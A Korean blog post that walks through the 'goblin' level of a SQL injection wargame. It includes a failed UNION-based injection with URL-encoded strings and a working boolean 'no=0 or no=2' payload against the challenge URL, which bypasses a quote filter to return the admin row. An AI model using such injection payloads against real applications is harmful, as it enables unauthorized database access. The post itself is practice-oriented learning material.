1. 문제 지문
2. 요약
- 일부 문자 필터링
- 쿼터 사용이 금지
- id 값이 admin으로 설정되면 클리어
- 이번에는 id가 아닌 no가 입력 벡터가 됨
3. 풀이
주어진 쿼리
select id from prob_goblin where id='guest' and no={$_GET[no]}
no값을 1로 지정했을 때
위와 같이 guest를 환영하는 메시지가 출력된다.
1번이 guest라는 것을 알 수 있다.
그러나 우리가 찾아야 할 것은 admin이다.
나는 여기서 Union을 조합해 볼까 생각하였다.
Union 인젝션 공격은 먹혔다.
여기서 Union 인젝션으로 공격하는 코드를 짜보았다.
select id from prob_goblin where id='guest' and no=-1 union select id from prob_goblin where id='admin'#
select id from prob_goblin where id='guest' and no=-1 union select id from %70%72%6F%62%5F567%6F%62%6C%69%6E where id=%27admin%27;%23
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=-1 union select id from %70%72%6F%62%5F567%6F%62%6C%69%6E where id=%27admin%27;%23
결과는....
안 된다. 분명히 필터에 걸리는 문자열들을 인코딩해서 넘겨줬는데도 안되는 걸 보면 이 방법으로 푸는 것은 아닌 것 같다라는 생각이 들었다.
살짝 현탐이 오고나서, 문득 다른 방법이 떠올랐다.
"어짜피 no값과 id값이 매칭 되어 있을텐데, admin과 guest의 숫자를 다르게 했을까?"라는 생각이 들었고,
no |
id |
1 |
guest |
? |
admin |
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=0
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=1
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=2
...
이렇게 하다 보면 맞겠다 싶었다.
SQL 쿼리를 풀어쓰면
select id from prob_goblin where id='guest' and no=0 or no=1;
파란색으로 칠한 부분만 참인 id 값을 불러올 것이다.
공격 결과,
no값이 2일 때 공격에 성공한 것을 볼 수 있다.
만약 admin이 랜덤 값으로 설정되었다면, 이 방법은 먹히지 않았을 것이다.
다른 사람들의 Write-Up을 보는 것도 좋을 것 같다.
'Web > LOS' 카테고리의 다른 글
LOS 풀이 - (06) darkelf (0) | 2019.07.09 |
---|---|
LOS 풀이 - (05) wolfman (0) | 2019.07.09 |
LOS 풀이 - (04) Orc (0) | 2019.07.09 |
LOS 풀이 - (02) Cobolt (0) | 2019.06.29 |
LOS 풀이 - (01) Gremlin (0) | 2019.06.29 |